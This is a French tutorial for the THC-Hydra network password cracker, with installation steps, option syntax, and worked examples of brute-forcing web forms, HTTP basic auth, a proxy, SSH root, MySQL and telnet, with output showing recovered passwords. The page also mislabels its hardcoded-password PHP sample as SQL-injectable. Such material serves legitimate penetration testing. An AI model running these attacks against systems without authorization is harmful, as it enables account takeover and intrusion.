Thc-hydra-fr
THC-Hydra
Description
THC Hydra est un crackeur de mot de passe réseau supportant les protocoles suivants : TELNET, FTP, HTTP-GET, HTTP-HEAD, HTTPS-GET, HTTP-HEAD, HTTP-PROXY, HTTP-PROXY-NTLM, HTTP-FORM-GET HTTP-FORM-POST, HTTPS-FORM-GET, HTTPS-FORM-POSTLDAP2, LADP3, SMB, SMBNT, MS-SQL, MYSQL, POSTGRES, POP3-NTLM, IMAP, IMAP-NTLM, NNTP, PCNFS, ICQ, SAP/R3, Cisco auth, Cisco enable, SMTP-AUTH, SMTP-AUTH-NTLM, SSH2, SNMP, CVS, Cisco AAA, REXEC, SOCKS5, VNC, POP3, VMware-Auth, NCP, Firebird.
Pré-requis
Installation de libssh
sudo apt-get update && sudo apt-get install cmake cd /data/src/ wget http://www.libssh.org/files/libssh-0.4.6.tar.gz tar xzvf libssh-0.4.6.tar.gz cd libssh-0.4.6/ mkdir build cd build cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug .. make sudo make install
Installation de sapr3
L'installation de ce composant est optionnelle et n'est pas présentée ici.
Elle permet de compiler hydra pour être capable de cracker des mots de passe SAP. Pour plus de renseignements, consultez le site officiel : http://www.sap.com/solutions/netweaver/linux/eval/index.asp
libpq
# apt-get install libpq-dev
Téléchargement et installation
Téléchargement d'Hydra :
$ cd /usr/local/src/ $ wget http://freeworld.thc.org/releases/hydra-5.7-src.tar.gz
Décompression de l'archive :
$ tar xzvf hydra-5.7-src.tar.gz $ cd hydra-5.7-src/
Compilation et installation :
$ ./configure $ make $ sudo make install
Utilisation
Ligne de commandes
Syntaxe de base
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]
Options
-R Permet de restaurer une session précédente (utile en cas de crash ou interruption) -S connexion via SSL -s <PORT> Permet de spécifier le port -l <LOGIN> ou -L <FILE> Spécifie un login fixe (-l) ou un fichier de logins (-L) -p <PASS> ou -P <FILE> Spécifie un mot de passe fixe (-p) ou un fichier de mots de passe (-P) -e ns Contrôles additionnels ("n" pour les mots de passe vides, "s" pour un identifiant vide) -C <FILE> Utilisation alternative à -L/-P. Syntaxe : "login:pass" -M <FILE> Permet de spécifier une liste de serveurs cibles pour paralléliser une attaque (une ligne par serveur) -o <FILE> Exporte les couples login/mot de passe valides dans un fichier plutôt que sur la sortie standard (stdout) -f Stoppe le programme dès l'obtention d'un couple valide (si -M est utilisé, un couple par serveur) -t <TASKS> Nombre d'attaques parallèles (par défaut 16) -w Attente maximum (en sec) de la réponse serveur (par défaut : 30 secondes) -v / -V Mode verbeux / Affichage systématique de la combinaison login/mot de passe server Nom du serveur (mode exclusif avec l'option -M) service Service cible - cisco - pop3[-ntlm] - cisco-enable - postgres - cvs - rexec - ftp - rlogin - http-{get|post}-form - rsh - http-proxy - sapr3 (requiert la compilation d'hydra avec l'option sapr3) - http[s]-{head|get} - sip - icq - smb - imap[-ntlm] - smbnt - ldap2 - smtp-auth[-ntlm] - ldap3 - snmp - mssql - socks5 - mysql - ssh2 (requiert la compilation d'hydra avec l'option libssh) - nntp - svn - oracle-listener - teamspeak - pcanywhere - telnet - pcnfs - vmauthd - vnc OPT Options spécifiques à certains modules (voir fichier README)
Utilisation d'un proxy
Pour utiliser hydra à travers un proxy, paramétrez les variables d'environnement suivantes :
- HYDRA_PROXY_HTTP/HYDRA_PROXY_CONNECT
- HYDRA_PROXY_AUTH
GUI
Exemples d'utilisation
http-post-form
Soit le code suivant :
<?php if(isset($_POST["usr"]) && isset($_POST["pwd"])) { if($_POST["usr"]=="admin" && $_POST["pwd"]=="password") { header("Location: http://www.google.com"); } else { echo("Incorrect login or password"); } } ?> <html> <body> <form action="test.php" method="post"> <input type="text" name="usr" /> <input type="password" name="pwd" /> <input type="submit" name="login" value="Connect" /> </form> </body> </html>
Si le couple login/mot de passe est différent de admin/password, le message suivant est affiché :
Dans le cas contraire, une redirection vers Google est effectuée.
Outre le fait que ce code est bien évidemment vulnérable à une faille d'injection SQL (les données ne sont pas purifiées), il est possible de mener une attaque par brute force, en utilisant la commande suivante :
$ hydra -l admin -P all.lst -s 80 -f localhost http-post-form \ "/admin/test.php:usr=^USER^&pwd=^PASS^&login=Connect:Incorrect" Hydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes. Hydra (http://www.thc.org) starting at 2010-02-28 19:54:27 [DATA] 12 tasks, 1 servers, 12 login tries (l:1/p:12), ~1 tries per task [DATA] attacking service http-post-form on port 80 [STATUS] attack finished for localhost (waiting for childs to finish) [80][www-form] host: 127.0.0.1 login: admin password: password Hydra (http://www.thc.org) finished at 2010-02-28 19:54:27
http-get-form
Soit le code suivant :
<?php if(isset($_GET["usr"]) && isset($_GET["pwd"])) { if($_GET["usr"]=="admin" && $_GET["pwd"]=="password") { header("Location: http://www.google.com"); } else { echo("Incorrect login or password"); } } ?> <html> <body> <form action="test.php" method="get"> <input type="text" name="usr" /> <input type="password" name="pwd" /> <input type="submit" name="login" value="Connect" /> </form> </body> </html>
Si le couple login/mot de passe est différent de admin/password, le message suivant est affiché :
Dans le cas contraire, une redirection vers Google est effectuée.
Outre le fait que ce code est bien évidemment vulnérable à une faille d'injection SQL (les données ne sont pas purifiées), il est possible de mener une attaque par brute force, en utilisant la commande suivante :
$ hydra -l admin -P all.lst -s 80 -f localhost http-get-form \ "/admin/test.php:usr=^USER^&pwd=^PASS^&login=Connect:Incorrect" Hydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes. Hydra (http://www.thc.org) starting at 2010-02-28 19:54:27 [DATA] 12 tasks, 1 servers, 12 login tries (l:1/p:12), ~1 tries per task [DATA] attacking service http-post-form on port 80 [STATUS] attack finished for localhost (waiting for childs to finish) [80][www-form] host: 127.0.0.1 login: admin password: password Hydra (http://www.thc.org) finished at 2010-02-28 19:54:27
http-proxy
La commande suivante permet de bruteforcer le mot de passe associé au compte de crack.me pour accéder au proxy (192.168.1.1) sur le port 3128.
$ hydra -l crack.me -P all.lst -s 3128 -f 192.168.1.1 http-proxy Hydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes. Hydra (http://www.thc.org) starting at 2010-02-28 20:04:55 [DATA] 15 tasks, 1 servers, 15 login tries (l:1/p:15), ~1 tries per task [DATA] attacking service http-proxy on port 3128 [STATUS] attack finished for 192.168.1.1 (waiting for childs to finish) [3128][http-proxy] host: 192.168.1.1 login: crack.me password: sap1nV4 Hydra (http://www.thc.org) finished at 2010-02-28 20:04:55
ssh2
La commande suivante permet de bruteforcer le mot de passse root pour le service SSH.
$ hydra -l root -P test -s 22 -f 192.168.1.1 ssh2 Hydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes. Hydra (http://www.thc.org) starting at 2010-02-28 21:44:47 [DATA] 16 tasks, 1 servers, 16 login tries (l:1/p:16), ~1 tries per task [DATA] attacking service ssh2 on port 22 [STATUS] attack finished for 192.168.1.1 (waiting for childs to finish) select: Bad file descriptor [22][ssh2] host: 192.168.1.1 login: root password: B1zar3 Hydra (http://www.thc.org) finished at 2010-02-28 21:44:55
http-get
Une partie d'un site Web est protégée par un fichier .htaccess dont le contenu est le suivant :
SetEnvIfNoCase Request_URI \.ht(access|passwd)$ ban <Files ~ "^.*$"> order allow,deny allow from all deny from env=ban </Files> Authname "Authentification" AuthUserFile /home/apache/pass/.htpasswd AuthGroupFile /dev/null AuthType Basic require valid-user
Il est possible de bruteforcer une telle authentification par la commande suivante :
$ hydra -l i.know.your.login -P all.lst -s 80 -f www.target.com -m /admin http-get Hydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes. Hydra (http://www.thc.org) starting at 2010-03-01 06:23:04 [DATA] 16 tasks, 1 servers, 16 login tries (l:1/p:16), ~1 tries per task [DATA] attacking service http-get on port 80 [STATUS] attack finished for localhost (waiting for childs to finish) [80][www] host: www.target.com login: i.know.your.login password: S4p1Nv3rt [80][www] host: www.target.com login: i.know.your.login password: S4p1Nv3rt&123 Hydra (http://www.thc.org) finished at 2010-03-01 06:23:04
mysql
$ hydra -l root -P all.lst -s 3306 -f 192.168.1.1 mysql
telnet
Exemple de bruteforce d'un mot de passe sur le service telnet d'un switch administrable :
$ hydra -l admin -P all.lst -s 23 -f 192.168.1.32 telnet Hydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes. Hydra (http://www.thc.org) starting at 2010-03-02 05:26:53 [DATA] 16 tasks, 1 servers, 96 login tries (l:1/p:16), ~6 tries per task [DATA] attacking service telnet on port 23 [23][telnet] host: 192.168.1.32 login: admin password: H1b0U2l4NU17 [STATUS] attack finished for 192.168.1.23 (valid pair found) Hydra (http://www.thc.org) finished at 2010-03-02 05:27:16